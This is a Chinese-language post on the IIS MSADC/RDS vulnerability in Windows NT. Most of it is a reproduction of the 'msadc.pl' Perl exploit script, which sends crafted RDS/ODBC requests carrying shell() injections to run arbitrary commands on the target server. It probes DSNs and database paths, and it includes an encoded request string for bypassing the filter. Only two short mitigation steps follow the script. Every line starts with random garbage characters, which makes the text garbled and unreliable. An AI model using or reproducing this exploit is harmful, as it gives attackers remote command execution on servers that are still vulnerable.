IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
="%nW3e@ Vq[L4 涉及程序：
G JlkEWs Microsoft NT server
%4X#|22n <
H1+qN=]` 描述：
i q s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d GEMrjx iCA!=%M@D 详细：
C'~K am S 如果你没有时间读详细内容的话，就删除:
&=bWXNU. c:\Program Files\Common Files\System\Msadc\msadcs.dll
j#KL"B_ A 有关的安全问题就没有了。
`dB!Ia| 96W!~w2xx 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
-mD<8v[F ;Y:_}kN8_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
cW+6Emh 关于利用ODBC远程漏洞的描述，请参看:
ZM)Y Rdh # is1y3yh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $|0_[~0-n ;^QG>OP$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
j1{ @? http://www.microsoft.com/security/bulletins/MS99-025faq.asp z\i z6-\&y ^A9D;e6!- 这里不再论述。
K.A!?U= Z7 \gj` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
zk)9tm;i{ Q _p!;3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7D5;lM[_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
v0pyyUqS 5_4Y/2_| \etuIFQ#U #将下面这段保存为txt文件，然后: "perl -x 文件名"
hD OEJ I%dFVt@ #!perl
S;0,UgB1 #
Q)"L 8v
v # MSADC/RDS 'usage' (aka exploit) script
e;LJdd #
!'-K>.B # by rain.forest.puppy
U}9B
wr^ #
A 0L&p(i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
q2qbbQ6H # beta test and find errors!
K \?b6;ea vj? v7 use Socket; use Getopt::Std;
^1d"Rqtv getopts("e:vd:h:XR", \%args);
QBi&Q%p iy lTNfT O^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
B~p` 3rC I ]S 8:w![ if (!defined $args{h} && !defined $args{R}) {
%lL^[`AR print qq~
7"L`|O?8) Usage: msadc.pl -h <host> { -d <delay> -X -v }
^:JZ.r -h <host> = host you want to scan (ip or domain)
gHU/yi!T -d <seconds> = delay between calls, default 1 second
)ESF)aKMiz -X = dump Index Server path table, if available
5o2W[< %v -v = verbose
TF)OBN~/ -e = external dictionary file for step 5
&?.k-:iN E_VLI'Hn? Or a -R will resume a command session
.gmNE$d J N5<=x5r ~; exit;}
_ZgIm3p0A GWs[a$| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
x50,4J%J'r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
WdXi if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
C %l!"s^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
KH4
5A'o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
PA5_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O0?.$f9 s NL}) _.Og if (!defined $args{R}){ $ret = &has_msadc;
3U#z {% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\/8 I6a= ]6wo] nV[P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
eQBR *@x . "cmd /c ";
I+ZK \?Rs $in=<STDIN>; chomp $in;
=ytB\e $command="cmd /c " . $in ;
'\[o>n2 kNX"Vo]1 if (defined $args{R}) {&load; exit;}
:*GLLjS; !P*1^8b`f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E;l|I
A/7 &try_btcustmr;
[qhQj\cK +J` EBoIo print "\nStep 2: Trying to make our own DSN...";
\ Y[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$4yv)6G v?Q|;< print "\nStep 3: Trying known DSNs...";
} $:uN &known_dsn;
O LAw Rha 2t h\% print "\nStep 4: Trying known .mdbs...";
n[zP}YRr &known_mdb;
k(Z+(Y'{q~ /|{Yot
e if (defined $args{e}){
y=!"++T]B< print "\nStep 5: Trying dictionary of DSN names...";
p1B~:9y9X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]<z4p'F1% [da ,SM print "Sorry Charley...maybe next time?\n";
1( V>8}zn exit;
B7"/K]dR: ?`+46U% ##############################################################################
P.b Bu cnm&o C 6 sub sendraw { # ripped and modded from whisker
:Mz$~o< sleep($delay); # it's a DoS on the server! At least on mine...
S1Q 2<<[ my ($pstr)=@_;
)+]8T6~
N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
q$vATT die("Socket problems\n");
S4RvWTtQV if(connect(S,pack "SnA4x8",2,80,$target)){
*2O4 *Q1 select(S); $|=1;
F.P4c:GD print $pstr; my @in=<S>;
!;'. mMO&% select(STDOUT); close(S);
r &AX return @in;
= 2HR+ } else { die("Can't connect...\n"); }}
&
[)1LRt_ e|:# Y^ ##############################################################################
N>z<v\` b2;+a( sub make_header { # make the HTTP request
k/+ -Tq; my $msadc=<<EOT
u|m>h(O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[n/'JeG5 User-Agent: ACTIVEDATA
19od#
d3+ Host: $ip
D3#/*Ky Content-Length: $clen
%JB FG.+ Connection: Keep-Alive
+hdD*}qauC |*079v ADCClientVersion:01.06
[t55Kz*cD Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5ru&In& C2GF
N1i --!ADM!ROX!YOUR!WORLD!
h>v;1Q O9D Content-Type: application/x-varg
s^KUe%am0 Content-Length: $reqlen
HC,YmO:df" 1
h(oty2p EOT
uWw4l"RK` ; $msadc=~s/\n/\r\n/g;
Skgvnmk[U return $msadc;}
41luFtE9 @DgJxY| ##############################################################################
6Q]c]cCu a`5ODW+ sub make_req { # make the RDS request
D`]Lm 24_] my ($switch, $p1, $p2)=@_;
%OW L M my $req=""; my $t1, $t2, $query, $dsn;
u}u;jTi> 2 uLV@D r if ($switch==1){ # this is the btcustmr.mdb query
~@ZdO+n? $query="Select * from Customers where City=" . make_shell();
'Z LGt# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Sfc 0 ~1 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}>vf(9sF` wD >tR
SW elsif ($switch==2){ # this is general make table query
,<$6-3sC- $query="create table AZZ (B int, C varchar(10))";
c)8V^7= Q $dsn="$p1";}
&0*l=!:G^ }J}a;P4 elsif ($switch==3){ # this is general exploit table query
c- z 2[a8 $query="select * from AZZ where C=" . make_shell();
-L>\ 58` $dsn="$p1";}
WN9 < %=x|.e@J elsif ($switch==4){ # attempt to hork file info from index server
Y% 9S4be $query="select path from scope()";
uN bOtA $dsn="Provider=MSIDXS;";}
IWeQMwg @/}{Trmg/ elsif ($switch==5){ # bad query
l!f/0Rx5 $query="select";
:A35 ?9E? $dsn="$p1";}
zHi+I 7 d =%:rLm$ $t1= make_unicode($query);
;=X6pK $t2= make_unicode($dsn);
e:H7h t: $req = "\x02\x00\x03\x00";
gd'#K~? $req.= "\x08\x00" . pack ("S1", length($t1));
BCB"& :} $req.= "\x00\x00" . $t1 ;
zAEq)9Y"l' $req.= "\x08\x00" . pack ("S1", length($t2));
SdhdXVZ $req.= "\x00\x00" . $t2 ;
<1[W Nj2[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Q g=k@ return $req;}
z'a#lA.$} G)\s{qk ##############################################################################
c;_GZ}8 :+ksmyW sub make_shell { # this makes the shell() statement
Tj@}O:q7: return "'|shell(\"$command\")|'";}
GF5WR e(E !=C4=xv ##############################################################################
<)y44x|S' (g, lDU[= sub make_unicode { # quick little function to convert to unicode
q+XL,E my ($in)=@_; my $out;
v{Cts3?Br for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}$u]aX< return $out;}
.#R\t 7m% Z!Sv/ 5xx ##############################################################################
]T\K-;i $2E n^ sub rdo_success { # checks for RDO return success (this is kludge)
KZO ! my (@in) = @_; my $base=content_start(@in);
~Nf0 1,F if($in[$base]=~/multipart\/mixed/){
dq%N,1.F
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q:Q) -|, return 0;}
C 5QPt ay6G1\0W ##############################################################################
N#{d_v^H?d LXj2gsURu% sub make_dsn { # this makes a DSN for us
>nm by|XtW my @drives=("c","d","e","f");
E",s ] print "\nMaking DSN: ";
5)4*J. foreach $drive (@drives) {
*leQd^47 print "$drive: ";
3/8o )9f. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^
ab%Mbb "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6Uq@v8mh . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
quc?]rb $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B`OggdE return 0 if $2 eq "404"; # not found/doesn't exist
9Ue3
%?~c if($2 eq "200") {
1 GUF,A+_O foreach $line (@results) {
r$=MBeT return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_F
xq } return 0;}
DG8]FhD^b Et@= <g ##############################################################################
\{J gjd %? +A.0]E sub verify_exists {
a$Eqe_ my ($page)=@_;
F7J-@T< my @results=sendraw("GET $page HTTP/1.0\n\n");
&,+G} return $results[0];}
`*e',j2}UU 5sC{5LJzC ##############################################################################
q /EK ]B k: PO"<-U sub try_btcustmr {
'5wa"/ ?w my @drives=("c","d","e","f");
uRG0} >]|U my @dirs=("winnt","winnt35","winnt351","win","windows");
[P)'L Y6F
=-jk p foreach $dir (@dirs) {
(V @g?|LZ print "$dir -> "; # fun status so you can see progress
&'V_80vA foreach $drive (@drives) {
x|*v(,7b]! print "$drive: "; # ditto
*A2J[,?c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
gWA)V*}f $reqlenlen=length( "$reqlen" );
+B^ / =3P $clen= 206 + $reqlenlen + $reqlen;
aB<~T[H%h Woa5Ov!n0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
x3>K{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
CF9a~^ +% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
b!SGQv(^M |$Dt6{h ##############################################################################
/Ik_U?$* 6PT ,m sub odbc_error {
)hK5_]"lmj my (@in)=@_; my $base;
G_z JuE$V my $base = content_start(@in);
aKS
2p3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
HZCEr6}( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L
q8}z-? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~R-S$qizAC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3B/ GcltfM return $in[$base+4].$in[$base+5].$in[$base+6];}
QE}S5#_" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/,$;xt-J35 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
gbwKT`N* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
7{f&L ' +o(t5O[G ##############################################################################
R'qB-v. _ z\oDd`' sub verbose {
@i&LKr8 my ($in)=@_;
Lx,"jA/ return if !$verbose;
l5Z=aW Q print STDOUT "\n$in\n";}
n )YNt cyA|6Ltg% ##############################################################################
CeS8I-, } !\NdQs sub save {
7^'TU=ss_ my ($p1, $p2, $p3, $p4)=@_;
YQ X+lE open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&#v^y 3r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A=!&2( close OUT;}
"C.'_H!Ex xy4 6].x- ##############################################################################
wx -NUTRim z %{>d#rw sub load {
Mcc774'*9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jVL<7@_* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^"v~hjM# @p=<IN>; close(IN);
(f5 !36mz $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J|_&3@ r $target= inet_aton($ip) || die("inet_aton problems");
^M6v;8EU print "Resuming to $ip ...";
[ik D4p= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/XS6X if($p[1]==1) {
'?t]iRCeI7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
LW?] ~| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"5Oog< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'VFxg, if (rdo_success(@results)){print "Success!\n";}
]Rohf WHX else { print "failed\n"; verbose(odbc_error(@results));}}
o,9E~Q '`{ elsif ($p[1]==3){
dKDt j: if(run_query("$p[3]")){
-liVYI2s print "Success!\n";} else { print "failed\n"; }}
PKT0Drv}c7 elsif ($p[1]==4){
?H eC+=/Z if(run_query($drvst . "$p[3]")){
SP Og' print "Success!\n"; } else { print "failed\n"; }}
G%S=K2 v exit;}
+e <P7}ZQ Fzh%#z0
##############################################################################
9vCn^G%B w_@N T} sub create_table {
VE4!=4 my ($in)=@_;
, =B
"%=S $reqlen=length( make_req(2,$in,"") ) - 28;
~cy/\/oO $reqlenlen=length( "$reqlen" );
WRZ i^B8 @ $clen= 206 + $reqlenlen + $reqlen;
$5yS`Iq S my @results=sendraw(make_header() . make_req(2,$in,""));
dG.s8r*?M return 1 if rdo_success(@results);
3ag*dBbs my $temp= odbc_error(@results); verbose($temp);
H)t YxW return 1 if $temp=~/Table 'AZZ' already exists/;
<%hSBD G!x return 0;}
bBAZr`<&U !FipKX ##############################################################################
U4%d # u 9 1;GBY sub known_dsn {
\:4WbM:B # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ncb?iJ/b^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c.m ' %4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Qc\JUm] "banner", "banners", "ads", "ADCDemo", "ADCTest");
':!w%& \ !tCw)cou foreach $dSn (@dsns) {
6x r$ print ".";
gC;y>YGP next if (!is_access("DSN=$dSn"));
Z}f$ KWj if(create_table("DSN=$dSn")){
h|yv*1/| print "$dSn successful\n";
G ^p>fy~ if(run_query("DSN=$dSn")){
Xw`vf7z* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@cAv 8i K print "Something's borked. Use verbose next time\n";}}} print "\n";}
);}k@w
fw) mj[PKEdkB ##############################################################################
+c/am`` )b"H]" sub is_access {
r^ S 4 I& my ($in)=@_;
WG NuB9R $reqlen=length( make_req(5,$in,"") ) - 28;
V;L^q?v
! $reqlenlen=length( "$reqlen" );
B @H W@j $clen= 206 + $reqlenlen + $reqlen;
m C
n,I my @results=sendraw(make_header() . make_req(5,$in,""));
k^ J~l=?v my $temp= odbc_error(@results);
)^
R]3!v verbose($temp); return 1 if ($temp=~/Microsoft Access/);
qg:R+`z return 0;}
*GbC`X) # ,u7lAz ##############################################################################
,IA0 n79 ~;aSX1
sub run_query {
'{\VO U my ($in)=@_;
m;W Up{' $reqlen=length( make_req(3,$in,"") ) - 28;
"@ Bc eD $reqlenlen=length( "$reqlen" );
X l w&hKS $clen= 206 + $reqlenlen + $reqlen;
,G
e7
9( my @results=sendraw(make_header() . make_req(3,$in,""));
cn v4! c0 return 1 if rdo_success(@results);
gH Q[D|zu my $temp= odbc_error(@results); verbose($temp);
:1q +[T/ @ return 0;}
A1 {P"p! -_
.f& l8 ##############################################################################
%h g=@7,| ~1`. iA sub known_mdb {
SOE#@{IXBa my @drives=("c","d","e","f","g");
<_uLf9j a my @dirs=("winnt","winnt35","winnt351","win","windows");
dI5Z*"`R9 my $dir, $drive, $mdb;
lu`\6 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mG7Wu{~=U 1}tZ,w> # this is sparse, because I don't know of many
oR5hMu;j+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
C#emmg!a\ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/YR*KxIx "\\system32\\certmdb.mdb",
O4$ra ;UM` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
<wFR%Y/j El Z' /l*\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/v: g' #n "\\cfusion\\cfapps\\forums\\forums_.mdb",
r7c(/P^$G "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
}+nC}A"BC "\\cfusion\\cfapps\\security\\realm_.mdb",
NO P~?p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
lzB y;i "\\cfusion\\database\\cfexamples.mdb",
Ht5 %fcD "\\cfusion\\database\\cfsnippets.mdb",
Qpndi$2H! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ro6|N?' "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|0U "#xkf "\\cfusion\\brighttiger\\database\\cleam.mdb",
$B7<1{<=W "\\cfusion\\database\\smpolicy.mdb",
5UVQ48aT "\\cfusion\\database\cypress.mdb",
+[UFf3(ON "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wA+J49 "\\website\\cgi-win\\dbsample.mdb",
@4B+<,i
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
VW <s_ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!X(Lvt/ ); #these are just
;/N[tO?Q foreach $drive (@drives) {
<t,uj.9_ foreach $dir (@dirs){
LS,/EGJ foreach $mdb (@sysmdbs) {
3q R@$pm print ".";
MxuwEV|^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ik+qx~+`Qv print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7 B _;YT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
R@5jEf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0L $v7,
5 } else { print "Something's borked. Use verbose next time\n"; }}}}}
ZO2u[HSO> *!,+%0 foreach $drive (@drives) {
i5?)E7- foreach $mdb (@mdbs) {
}pbyC print ".";
{q~ Bss{z if(create_table($drv . $drive . $dir . $mdb)){
5` { +y] print "\n" . $drive . $dir . $mdb . " successful\n";
5z~Ji77! if(run_query($drv . $drive . $dir . $mdb)){
FAjO-T4( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ZD6rD (l9 } else { print "Something's borked. Use verbose next time\n"; }}}}
_b<Fz`V }
$JypVA(CX p^&' C_? ##############################################################################
$lOx
6rL f-y4V} sub hork_idx {
-OB72!sKU print "\nAttempting to dump Index Server tables...\n";
tV9W4`Z2q print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
#] vq
<Y $reqlen=length( make_req(4,"","") ) - 28;
*DLv$/(0 $reqlenlen=length( "$reqlen" );
p> Ju)o $clen= 206 + $reqlenlen + $reqlen;
l,1 }1{k& my @results=sendraw2(make_header() . make_req(4,"",""));
9r
fR if (rdo_success(@results)){
n!|K# my $max=@results; my $c; my %d;
4))u*c/, for($c=19; $c<$max; $c++){
QUa z;kNC7 $results[$c]=~s/\x00//g;
#StD]d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
X"(!\{ySI; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
I --WS[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`4.Wdi-Si $d{"$1$2"}="";}
r62 x*?/ foreach $c (keys %d){ print "$c\n"; }
NZ e 3
m } else {print "Index server doesn't seem to be installed.\n"; }}
yv 9~ 7$z")JB ##############################################################################
V,<,;d fR +e)So+.W sub dsn_dict {
qlIC{:E0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
G&0&*mp while(<IN>){
LXVm0IO FF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Yi{[llru next if (!is_access("DSN=$dSn"));
$G"PZ7 if(create_table("DSN=$dSn")){
.bB_f7TH. print "$dSn successful\n";
{DI_i +2 if(run_query("DSN=$dSn")){
f?dNTfQ3mi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
":"QsS#*"# print "Something's borked. Use verbose next time\n";}}}
@?!/Pl49R print "\n"; close(IN);}
7 ZET@ "monuErg& ##############################################################################
1T %Y:0 G#HbiVH9 sub sendraw2 { # ripped and modded from whisker
H.7gSB 1 sleep($delay); # it's a DoS on the server! At least on mine...
Z9i,#/ my ($pstr)=@_;
L 4zSro:Si socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ld M [ 8 die("Socket problems\n");
Oe'Nn250
if(connect(S,pack "SnA4x8",2,80,$target)){
c#OZ=` print "Connected. Getting data";
S&6}9r open(OUT,">raw.out"); my @in;
.hg<\-:_ select(S); $|=1; print $pstr;
H
#J"' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:u'X
~ID[ close(OUT); select(STDOUT); close(S); return @in;
'< !/\Jz9l } else { die("Can't connect...\n"); }}
V8NJ0fF 76c4~IG# ##############################################################################
[p$b@og/> ,M>W) TSH sub content_start { # this will take in the server headers
H'<9;bD - my (@in)=@_; my $c;
3rZFN^ for ($c=1;$c<500;$c++) {
Fw+JhI VP if($in[$c] =~/^\x0d\x0a/){
hAOXOj1 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V(L~t=k$ else { return $c+1; }}}
k!xi
(l<C return -1;} # it should never get here actually
zek\AQN ,4NvD2Y ##############################################################################
ba% [! L:`|lc=^ sub funky {
6[69|& my (@in)=@_; my $error=odbc_error(@in);
394u']M if($error=~/ADO could not find the specified provider/){
\C
ZiU3 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
B+jT|Y' exit;}
ynw^nmM if($error=~/A Handler is required/){
E,xCfS) print "\nServer has custom handler filters (they most likely are patched)\n";
!}"npUgE exit;}
L-Xd3RCD if($error=~/specified Handler has denied Access/){
Fz?ON1\ print "\nServer has custom handler filters (they most likely are patched)\n";
7_S+/2}U* exit;}}
$P^=QN5 Bb Xr :"8FT ##############################################################################
N ]}Re$5 X-3L4@T:? sub has_msadc {
R=i$*6}a my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"h 7Z(Y my $base=content_start(@results);
s$C;31k return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9$~D4T return 0;}
Aw4 Qm2Kf m/0G=%d%k ########################
g"2@E *Sz `=U7n :B$=Pp1 解决方案：
[_|i W%<` 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
-gu)d5b 2、移除web 目录: /msadc
